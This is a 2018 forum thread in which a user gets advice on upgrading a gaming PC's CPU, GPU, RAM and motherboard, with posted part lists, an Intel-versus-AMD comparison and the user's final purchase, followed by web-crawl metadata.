G.Skill - Ripjaws V Series 16GB (2 x 8GB) DDR4-3000 Memory ($109.99 @ Newegg) Video Card: EVGA - GeForce GTX 1060 6GB 6 GB SC GAMING Video Card ($239.99 @ Newegg) Case: Corsair - 400R ATX Mid Tower Case Power Supply: XFX - 650 W 80+ Bronze Certified ATX Power Supply ($83.98 @ SuperBiiz) Total: $749.73 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-07 17:22 EST-0500 So, some final questions. Based on my games, current build, and resolution, it looks like the GTX 1060 should be fine. I know this is mainly speculation, but is there enough reason to believe that the 2060 (if it comes out) will be worth waiting for? I'm inclined to believe it will either be underwhelming, overkill, or too expensive (I'd rather not spend more unless it looks like I'd need more). I guess one option is to buy the CPU/RAM/mobo now and keep my 760 until next spring (even if the 2060 underwhelms it might drop the 10xx series, couldn't it?) and just the increased RAM alone may help a lot in the meantime. Also, should I consider the i5-8600 or better instead of the 8400? Also, I know very little about quality mobos. Is a better mobo that big of a difference maker, or not so much with my specs? Thanks in advance.   Cougar7 Reputable Apr 5, 2014 23 0 4,510 0 Actually, seeing more about RAM that does lead me to ask about the different speeds of DDR4 RAM as well. I'm seeing lots of options and kind of thinking that it doesn't really matter, but am I wrong? I also noticed there is a 9th generation of CPUs, which I didn't originally notice. Does that change anything?   t99 Reputable Jul 16, 2014 751 0 5,160 89 That build looks nice, one thing I would consiser is maybe save on a 2600 and instead get a better gpu. Based on Intel's track record you will need a new motherboard with the next cpu. Ryzen will support thru 2020 so you could just replace the cpu in about 3 years with the next best available. I think you might want higher than a 1060 6gb if you plan to play some of these upcoming AAA games at 60fps 1080p. It's good for current titles, but I can see it struggling some in the next 1 or 2 years with some games unless you turn some settings down a bit. If a 2060 sells for under 300 and performs about equal to a 1070 it could be the perfect card for 1080p over the next few years. The RAM on your build shows 109$ but it's 139$ when you view it. I took your build, swapped a couple things and moved way up on the gpu while using a cpu which is going to perform just as good and saves enough to make up most of the more expensive gpu cost. Take off 60$ if you keep your gpu. Maybe add 30$ for better cpu cooler. https://pcpartpicker.com/list/sXhmBb 50$ more for a 1070ti build, this will definitely perform better overall for gaming and last longer. Just on the cpu/mobo is 100$ savings which lets us move to a 1070ti. Might be overkill if you play the same games for 4 years at 1080p 60fps. You would be able to game at 1440p 60fps easy and also 4k to some degree if you replaced the display at some point. I know you said you like Intel and I'm just presenting an option worth considering. If you look up comparisons the 2 cpu are basically the same at 1080p and above with the 8400 taking a small lead at 720p. If you overclock the 2600 will win on most games, but just barely, it's really close all around. If both cpu were the same or closer in price then there is nothing to consider, go with Intel if you prefer, but it's tough to not consider other options when you pay 60$+ more for identical performance. You gain more by going to a higher gpu than a cpu at this point. One last thing to consider is that you bought a 760 around the time it came out and it worked good for 4 years. A 1060 is already 2.5 years old. Yeah it is more efficient and more like having a 980, but it's still pretty old. If you don't want to wait or buy a higher gpu now then it might be worth grabbing a rx 570 (poor man's 1060 6gb) for under 150$ and just replace it in a year or whenever you need. It would be better imo to either wait or get a higher model now unless you are certain a 200$+ 1060 will hold you over for a couple years People haven't been that impressed with the 9th gen outside of a 9700k. Maybe prices will drop on the 8th gen which were great cpu' s. The boost clock isn't that high on an 8400, but I think for what you are doing it's fine. It can easily push a 1070ti and it's a great cpu for gaming, it's just not a great price at 230$ when a 8600k is not much more, but do you even need that extra power? Just because a cpu has more power or higher clocks doesn't automatically mean it will last longer. Unless your goal is very very high frames at 1080p and lower then you probably don't need higher than 8400, but who knows what sales might show up. The RAM matters more for ryzen than Intel. The difference between 2133 vs 3000mhz can be significant when it comes to gaming with ryzen, but the same gap on Intel is minimal.   PCPartPicker part list / Price breakdown by merchant CPU: Intel - Core i5-9600K 3.7 GHz 6-Core Processor ($269.99 @ Walmart) CPU Cooler: CRYORIG - H5 Ultimate 76 CFM CPU Cooler ($59.89 @ OutletPC) Motherboard: MSI - MAG Z390 TOMAHAWK ATX LGA1151 Motherboard ($155.99 @ Amazon) Memory: G.Skill - Ripjaws V Series 16 GB (2 x 8 GB) DDR4-3200 Memory ($139.99 @ Newegg) Video Card: EVGA - GeForce GTX 1070 8 GB SC2 Gaming iCX Video Card ($339.99 @ Newegg) Total: $965.85 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-08 18:10 EST-0500   ohenryy Reputable Nov 16, 2014 1,071 0 5,660 199 I would go AMD Ryzen, top end 8 core with the new nvidia 2070's. PCPartPicker part list: https://pcpartpicker.com/list/qsjRRJ Price breakdown by merchant: https://pcpartpicker.com/list/qsjRRJ/by_merchant/ CPU: AMD - Ryzen 7 1700 3 GHz 8-Core Processor ($179.89 @ OutletPC) CPU Cooler: CRYORIG - H5 Ultimate 76 CFM CPU Cooler ($59.89 @ OutletPC) Motherboard: ASRock - B450 Pro4 ATX AM4 Motherboard ($74.89 @ OutletPC) Memory: G.Skill - Ripjaws V Series 16 GB (2 x 8 GB) DDR4-3200 Memory ($139.99 @ Newegg) Video Card: Gigabyte - GeForce RTX 2070 8 GB WINDFORCE Video Card ($498.99 @ Amazon) Total: $953.65 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-09 02:49 EST-0500   Cougar7 Reputable Apr 5, 2014 23 0 4,510 0 Thanks for the suggestions so far. It looks like Black Friday ads are starting to come out and I will be able to better make an educated decision. Right now I'm leaning towards buying the CPU/RAM/mobo with Black Friday sales and keeping the 760 for another few months while the 2060 is announced and released. The 1070Ti option does look tempting, but the 2070 RTX just looks way too expensive for my liking (like I said, I can go up to $1000, but I don't want to do it simply because I can). I'm also still leaning toward Intel, although AMD does present a viable alternative. A good point was brought up about the 1060 being 2+ years old (but so is the 1070....). So judging by the various assortments of motherboards, that means that motherboards have little significance as long as it has all the slots/sockets you need? And RAM speed makes more of a difference for AMD CPUs? Thanks.   t99 Reputable Jul 16, 2014 751 0 5,160 89 Right about the ram speeds and the motherboard depends on the cpu. With an 8400 that doesn't have as high of a boost speed you should be able to get by with a cheaper option. If it's ryzen, k series or a model with a higher boost you may want a nicer one with better cooling. Have you seen the battlefield V demo Ray tracing? It's pretty amazing. I'm actually considering going with a 2070 after seeing it, but I want to see how it performs because it uses a lot of gpu power. It cuts the frames down a ton and want to make sure a 2070 could run 1440p 60fps AAA games with Ray tracing on or else it seems kind of pointless.   Cougar7 Reputable Apr 5, 2014 23 0 4,510 0 So it looks like the Ryzen 5 2600X is going to be $179 next week (Black Friday), which actually looks tempting. I'm looking at 2 main considerations: an Intel i5-9600k (I figured if I'm going Intel, I might as well get the 9th gen) and the AMD. Here's what I'm looking at: PCPartPicker part list / Price breakdown by merchant CPU: AMD - Ryzen 5 2600X 3.6 GHz 6-Core Processor ($218.99 @ Amazon) Motherboard: MSI - B450-A PRO ATX AM4 Motherboard ($88.99 @ Amazon) Memory: G.Skill - Trident Z 16 GB (2 x 8 GB) DDR4-3200 Memory ($119.99 @ Newegg) Video Card: MSI - GeForce GTX 1070 Ti 8 GB DUKE Video Card ($354.99 @ Newegg) Case: Corsair - 400R ATX Mid Tower Case Total: $782.96 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-15 19:00 EST-0500 OR PCPartPicker part list / Price breakdown by merchant CPU: Intel - Core i5-9600K 3.7 GHz 6-Core Processor ($248.99 @ Walmart) CPU Cooler: Cooler Master - Hyper 212 EVO 82.9 CFM Sleeve Bearing CPU Cooler ($27.89 @ OutletPC) Motherboard: MSI - Z370-A PRO ATX LGA1151 Motherboard ($79.99 @ Newegg) Memory: G.Skill - Aegis 16 GB (2 x 8 GB) DDR4-3000 Memory ($104.99 @ Newegg) Video Card: MSI - GeForce GTX 1070 Ti 8 GB DUKE Video Card ($354.99 @ Newegg) Case: Corsair - 400R ATX Mid Tower Case Total: $816.85 Prices include shipping, taxes, and discounts when available Generated by PCPartPicker 2018-11-15 19:01 EST-0500 Keep in mind the Ryzen should be $179 next week. The Intel is quite a bit more expensive, but it is true that gaming is a big part of the system. Thoughts? Also, should I jump on this 1070Ti now, or is the 2060 likely to be a better grab? Because I can wait to upgrade the GPU.   Cougar7 Reputable Apr 5, 2014 23 0 4,510 0 I ended up going with the Ryzen 5 2600X (taking advantage of Black Friday sales), as well as the 1070 Ti. The build I got are those listed in my last post, except slightly faster and more expensive RAM.   Similar threads ASK THE COMMUNITY
{ "url": "https://forums.tomshardware.com/threads/cpu-gpu-ram-mobo-upgrade-advice-700.3399274/", "source_domain": "forums.tomshardware.com", "snapshot_id": "crawl=CC-MAIN-2019-13", "warc_metadata": { "Content-Length": "215477", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:WEDLZFCSV7ZLLFPOBYIY5A24YW5FCMSS", "WARC-Concurrent-To": "<urn:uuid:ff12a666-a8ff-405d-8981-2836c6c75abc>", "WARC-Date": "2019-03-23T03:08:44Z", "WARC-IP-Address": "23.13.172.89", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:BXRCK4D73ZTHGZTRD5HDETJI5KA6W4IV", "WARC-Record-ID": "<urn:uuid:fe68cf28-3f9d-462c-82c8-d0706f028b13>", "WARC-Target-URI": "https://forums.tomshardware.com/threads/cpu-gpu-ram-mobo-upgrade-advice-700.3399274/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:636ef716-5fa5-49e4-b0e8-f61652ddb260>" }, "warc_info": "isPartOf: CC-MAIN-2019-13\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-69-221-252.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 40, 41, 49, 50, 60, 72, 75, 77, 83, 85, 93, 94, 486, 487, 524, 567, 568, 844, 845, 994, 995, 1102, 1103, 1133, 1134, 1172, 1236, 1237, 1339, 1340, 1507, 1508, 1536, 1537, 1608, 1609, 1713, 1714, 1799, 1800, 1835, 1836, 2186, 2187, 2372, 2373, 2397, 2450, 2451, 2503, 2574, 2653, 2706, 2790, 2851, 2891, 2976, 3046, 3123, 3194, 3259, 3274, 3335, 3387, 3388, 3475, 3560, 3613, 3614, 3686, 3766, 3852, 3937, 3977, 4062, 4077, 4138, 4190, 4191, 5006, 5007, 5026, 5028, 5029, 5037, 5038, 5048, 5060, 5063, 5065, 5071, 5073, 5273, 5274, 5385, 5387, 5388, 5392, 5393, 5403, 5416, 5420, 5422, 5428, 5431, 5726, 5727, 5988, 5989, 6118, 6119, 6449, 6450, 6451, 6488, 6489, 6848, 6849, 7152, 7153, 7422, 7423, 7649, 7650, 7968, 7969, 8361, 8362, 8609, 8610, 8785, 8787, 8840, 8841, 8913, 8985, 9065, 9153, 9239, 9254, 9315, 9367, 9369, 9370, 9378, 9379, 9389, 9402, 9408, 9410, 9416, 9420, 9485, 9486, 9547, 9626, 9627, 9695, 9767, 9839, 9927, 10012, 10027, 10088, 10140, 10142, 10143, 10151, 10152, 10162, 10174, 10177, 10179, 10185, 10187, 10334, 10335, 10498, 10499, 10855, 10856, 11070, 11071, 11079, 11081, 11082, 11086, 11087, 11097, 11110, 11114, 11116, 11122, 11125, 11401, 11402, 11750, 11752, 11753, 11761, 11762, 11772, 11784, 11787, 11789, 11795, 11797, 12042, 12043, 12071, 12072, 12125, 12126, 12195, 12263, 12344, 12422, 12462, 12477, 12538, 12590, 12591, 12594, 12595, 12648, 12649, 12721, 12818, 12890, 12967, 13045, 13085, 13100, 13161, 13213, 13214, 13263, 13264, 13361, 13362, 13372, 13373, 13495, 13497, 13498, 13506, 13507, 13517, 13529, 13532, 13534, 13540, 13542, 13648, 13649, 13746, 13748, 13749, 13765, 13766, 13767 ], "line_end_idx": [ 40, 41, 49, 50, 60, 72, 75, 77, 83, 85, 93, 94, 486, 487, 524, 567, 568, 844, 845, 994, 995, 1102, 1103, 1133, 1134, 1172, 1236, 1237, 1339, 1340, 1507, 1508, 1536, 1537, 1608, 1609, 1713, 1714, 1799, 1800, 1835, 1836, 2186, 2187, 2372, 2373, 2397, 2450, 2451, 2503, 2574, 2653, 2706, 2790, 2851, 2891, 2976, 3046, 3123, 3194, 3259, 3274, 3335, 3387, 3388, 3475, 3560, 3613, 3614, 3686, 3766, 3852, 3937, 3977, 4062, 4077, 4138, 4190, 4191, 5006, 5007, 5026, 5028, 5029, 5037, 5038, 5048, 5060, 5063, 5065, 5071, 5073, 5273, 5274, 5385, 5387, 5388, 5392, 5393, 5403, 5416, 5420, 5422, 5428, 5431, 5726, 5727, 5988, 5989, 6118, 6119, 6449, 6450, 6451, 6488, 6489, 6848, 6849, 7152, 7153, 7422, 7423, 7649, 7650, 7968, 7969, 8361, 8362, 8609, 8610, 8785, 8787, 8840, 8841, 8913, 8985, 9065, 9153, 9239, 9254, 9315, 9367, 9369, 9370, 9378, 9379, 9389, 9402, 9408, 9410, 9416, 9420, 9485, 9486, 9547, 9626, 9627, 9695, 9767, 9839, 9927, 10012, 10027, 10088, 10140, 10142, 10143, 10151, 10152, 10162, 10174, 10177, 10179, 10185, 10187, 10334, 10335, 10498, 10499, 10855, 10856, 11070, 11071, 11079, 11081, 11082, 11086, 11087, 11097, 11110, 11114, 11116, 11122, 11125, 11401, 11402, 11750, 11752, 11753, 11761, 11762, 11772, 11784, 11787, 11789, 11795, 11797, 12042, 12043, 12071, 12072, 12125, 12126, 12195, 12263, 12344, 12422, 12462, 12477, 12538, 12590, 12591, 12594, 12595, 12648, 12649, 12721, 12818, 12890, 12967, 13045, 13085, 13100, 13161, 13213, 13214, 13263, 13264, 13361, 13362, 13372, 13373, 13495, 13497, 13498, 13506, 13507, 13517, 13529, 13532, 13534, 13540, 13542, 13648, 13649, 13746, 13748, 13749, 13765, 13766, 13767, 13784 ] }
{ "red_pajama_v2": { "ccnet_original_length": 13784, "ccnet_original_nlines": 261, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3266003727912903, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.07768800109624863, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.2942821681499481, "rps_doc_frac_unique_words": 0.32415518164634705, "rps_doc_mean_word_length": 4.374634742736816, "rps_doc_num_sentences": 144, "rps_doc_symbol_to_word_ratio": 0.00031075000879354775, "rps_doc_unigram_entropy": 5.991870880126953, "rps_doc_word_count": 2397, "rps_doc_frac_chars_dupe_10grams": 0.13274842500686646, "rps_doc_frac_chars_dupe_5grams": 0.17222963273525238, "rps_doc_frac_chars_dupe_6grams": 0.1701315939426422, "rps_doc_frac_chars_dupe_7grams": 0.16116726398468018, "rps_doc_frac_chars_dupe_8grams": 0.16116726398468018, "rps_doc_frac_chars_dupe_9grams": 0.1539195030927658, "rps_doc_frac_chars_top_2gram": 0.010299449786543846, "rps_doc_frac_chars_top_3gram": 0.011443830095231533, "rps_doc_frac_chars_top_4gram": 0.013732600025832653, "rps_doc_books_importance": -1382.435546875, "rps_doc_books_importance_length_correction": -1382.435546875, "rps_doc_openwebtext_importance": -687.3761596679688, "rps_doc_openwebtext_importance_length_correction": -687.3761596679688, "rps_doc_wikipedia_importance": -518.137939453125, "rps_doc_wikipedia_importance_length_correction": -518.137939453125 }, "fasttext": { "dclm": 0.031764570623636246, "english": 0.9249000549316406, "fineweb_edu_approx": 1.1076422929763794, "eai_general_math": 0.03817379102110863, "eai_open_web_math": 0.20426738262176514, "eai_web_code": 0.019072769209742546 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.16", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "794.81", "labels": { "level_1": "Arts", "level_2": "Amusements and Recreation", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,132,340,112,654,178,000
💸Logging server economy Economics on your server is probably one of the most important things to do. To understand how much money your clans operate, you can rely on this function. Configuration By default, this feature is enabled, so you may want to turn it off. You can do it here: economy: bank-log: enable: true Feature description This feature will create a one per day CSV file in /SimpleClans/logs/bank/. For developers If you want to add another format of logging, you can see how it's implemented. Last updated
{ "url": "https://wiki.roinujnosde.me/simpleclans/other/untitled", "source_domain": "wiki.roinujnosde.me", "snapshot_id": "CC-MAIN-2024-38", "warc_metadata": { "Content-Length": "164034", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:UJH5PLQFDGUPHE64KL32MAUYL6JSWINW", "WARC-Concurrent-To": "<urn:uuid:018db9e4-6d43-4b73-9093-181a7bb9df82>", "WARC-Date": "2024-09-13T08:53:50Z", "WARC-IP-Address": "104.18.40.47", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:OH3FXUPDP7YXFKNLLEX4DDPR6PQLX5AX", "WARC-Record-ID": "<urn:uuid:1aef488a-0495-4bbb-a1e5-da41a73318aa>", "WARC-Target-URI": "https://wiki.roinujnosde.me/simpleclans/other/untitled", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:57cdfe0e-4966-4954-8b74-4830eacaf3ff>" }, "warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-192\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 24, 25, 182, 183, 197, 198, 287, 288, 297, 309, 326, 327, 347, 348, 424, 425, 440, 441, 521, 522 ], "line_end_idx": [ 24, 25, 182, 183, 197, 198, 287, 288, 297, 309, 326, 327, 347, 348, 424, 425, 440, 441, 521, 522, 534 ] }
{ "red_pajama_v2": { "ccnet_original_length": 534, "ccnet_original_nlines": 20, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4144144058227539, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.009009010158479214, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.171171173453331, "rps_doc_frac_unique_words": 0.7272727489471436, "rps_doc_mean_word_length": 4.693181991577148, "rps_doc_num_sentences": 6, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.037233352661133, "rps_doc_word_count": 88, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.04358353838324547, "rps_doc_frac_chars_top_3gram": 0, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -62.109920501708984, "rps_doc_books_importance_length_correction": -74.98153686523438, "rps_doc_openwebtext_importance": -46.062347412109375, "rps_doc_openwebtext_importance_length_correction": -58.933963775634766, "rps_doc_wikipedia_importance": -27.161149978637695, "rps_doc_wikipedia_importance_length_correction": -40.03276824951172 }, "fasttext": { "dclm": 0.057404521852731705, "english": 0.8718827366828918, "fineweb_edu_approx": 1.9421026706695557, "eai_general_math": 0.7577375173568726, "eai_open_web_math": 0.16773229837417603, "eai_web_code": 0.006086769979447126 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "330", "labels": { "level_1": "Social sciences", "level_2": "Economics", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
6,570,053,717,182,989,000
Beefy Boxes and Bandwidth Generously Provided by pair Networks Your skill will accomplish what the force of many cannot   PerlMonks   Re^3: use lib statement with path variable by Eily (Vicar) on Dec 04, 2013 at 19:55 UTC ( #1065644=note: print w/replies, xml ) Need Help?? in reply to Re^2: use lib statement with path variable in thread use lib statement with path variable There are two problems there. qw takes each blank characters separated elements in its operand (most often, words separated by spaces) and reads them in a simple quotish context. Put a simpler way, qw(A $b C %h); could also be written ('A', '$b', 'C', '%h'). In Ruby there is a qw-like construct that allows double-quotish interpretation, but this is Perl. So you instead have to write use lib ("$some_path/lib",); (the comma is optional, I just always put an extra comma in a single element list). The second issue is that use is called straightaway, so you could say that perl reads your program : # Compiling using File::Spec using File::Basename there is a global variable called $some_path add to path $some_path/lib _Compilation complete_ # Running $some_path = dirname(File::Spec->rel2abs(__FILE__)); This is of course really simplified. The BEGIN keyword means that a block has to be executed during compile time, and not to wait after compilation completion. You should write: my $some_path; BEGIN { $some_path = "/my/path"; } use lib "$some_path/lib"; # Yeah, you don't even need the parenthesis, + Perl is clever enough for you # Edit : thanks dave_the_m for the correction Replies are listed 'Best First'. Re^4: use lib statement with path variable by chromatic (Archbishop) on Dec 04, 2013 at 20:15 UTC Yeah, you don't even need the parenthesis, Perl is clever enough for you... You never need the parentheses there, unless you're doing something strange with precedence or associativity. A list is a list is a list. Indeed, I can't tell why I used parentheses in the first place actually ... Re^4: use lib statement with path variable by dave_the_m (Prior) on Dec 04, 2013 at 21:22 UTC You should write: ... The use statement needs to be outside the BEGIN block, e.g. my $some_path; BEGIN { $some_path = "/my/path"; } use lib "$some_path/lib"; Dave. Thanks, corrected :) Re^4: use lib statement with path variable by sans-clue (Beadle) on Dec 05, 2013 at 03:47 UTC Muy bueno !!! Thanks so much Log In? Username: Password: What's my password? Create A New User Node Status? node history Node Type: note [id://1065644] help Chatterbox? and the web crawler heard nothing... How do I use this? | Other CB clients Other Users? Others chilling in the Monastery: (4) As of 2016-10-22 02:52 GMT Sections? Information? Find Nodes? Leftovers? Voting Booth? How many different varieties (color, size, etc) of socks do you have in your sock drawer? Results (291 votes). Check out past polls.
{ "url": "http://www.perlmonks.org/?node_id=1065644", "source_domain": "www.perlmonks.org", "snapshot_id": "crawl=CC-MAIN-2016-44", "warc_metadata": { "Content-Length": "23723", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:CODKGJ2JTI4FK7TSZ7E3IEGVM7VII3JX", "WARC-Concurrent-To": "<urn:uuid:a8b21ce7-cab6-4af4-8362-5a64a32a43ab>", "WARC-Date": "2016-10-22T02:52:44Z", "WARC-IP-Address": "209.197.123.153", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:4P6ZBQTAKWQCFYGA3AODIFIZNZSMJXR6", "WARC-Record-ID": "<urn:uuid:cacce822-4165-488c-a392-cd19daab0bc6>", "WARC-Target-URI": "http://www.perlmonks.org/?node_id=1065644", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:1d5c88bd-6443-4cd4-96a7-f7e2d6ac2205>" }, "warc_info": "robots: classic\r\nhostname: ip-10-171-6-4.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-44\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for October 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 63, 90, 120, 122, 134, 135, 178, 179, 195, 276, 277, 278, 333, 380, 381, 880, 881, 982, 983, 1191, 1228, 1229, 1370, 1371, 1570, 1571, 1604, 1647, 1702, 1782, 1783, 1925, 1926, 2008, 2009, 2052, 2103, 2129, 2193, 2273, 2274, 2284, 2285, 2312, 2313, 2356, 2407, 2440, 2441, 2449, 2459, 2469, 2470, 2490, 2508, 2521, 2534, 2565, 2570, 2582, 2619, 2620, 2658, 2671, 2709, 2736, 2746, 2759, 2771, 2782, 2800, 2894, 2895, 2896, 2897, 2898, 2899, 2900 ], "line_end_idx": [ 63, 90, 120, 122, 134, 135, 178, 179, 195, 276, 277, 278, 333, 380, 381, 880, 881, 982, 983, 1191, 1228, 1229, 1370, 1371, 1570, 1571, 1604, 1647, 1702, 1782, 1783, 1925, 1926, 2008, 2009, 2052, 2103, 2129, 2193, 2273, 2274, 2284, 2285, 2312, 2313, 2356, 2407, 2440, 2441, 2449, 2459, 2469, 2470, 2490, 2508, 2521, 2534, 2565, 2570, 2582, 2619, 2620, 2658, 2671, 2709, 2736, 2746, 2759, 2771, 2782, 2800, 2894, 2895, 2896, 2897, 2898, 2899, 2900, 2946 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2946, "ccnet_original_nlines": 78, "rps_doc_curly_bracket": 0.001357769942842424, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.29607251286506653, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0317220501601696, "rps_doc_frac_lines_end_with_ellipsis": 0.05063290894031525, "rps_doc_frac_no_alph_words": 0.3021148145198822, "rps_doc_frac_unique_words": 0.5450549721717834, "rps_doc_mean_word_length": 4.736263751983643, "rps_doc_num_sentences": 33, "rps_doc_symbol_to_word_ratio": 0.013595170341432095, "rps_doc_unigram_entropy": 5.167792320251465, "rps_doc_word_count": 455, "rps_doc_frac_chars_dupe_10grams": 0.05290022864937782, "rps_doc_frac_chars_dupe_5grams": 0.2167053371667862, "rps_doc_frac_chars_dupe_6grams": 0.18979117274284363, "rps_doc_frac_chars_dupe_7grams": 0.16102087497711182, "rps_doc_frac_chars_dupe_8grams": 0.14570766687393188, "rps_doc_frac_chars_dupe_9grams": 0.05290022864937782, "rps_doc_frac_chars_top_2gram": 0.025057999417185783, "rps_doc_frac_chars_top_3gram": 0.041763339191675186, "rps_doc_frac_chars_top_4gram": 0.05290022864937782, "rps_doc_books_importance": -293.2850341796875, "rps_doc_books_importance_length_correction": -293.2850341796875, "rps_doc_openwebtext_importance": -204.6141357421875, "rps_doc_openwebtext_importance_length_correction": -204.6141357421875, "rps_doc_wikipedia_importance": -157.2708740234375, "rps_doc_wikipedia_importance_length_correction": -157.2708740234375 }, "fasttext": { "dclm": 0.06837373971939087, "english": 0.9066399335861206, "fineweb_edu_approx": 2.2874274253845215, "eai_general_math": 0.46531927585601807, "eai_open_web_math": 0.28194111585617065, "eai_web_code": 0.012054800055921078 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1332", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { 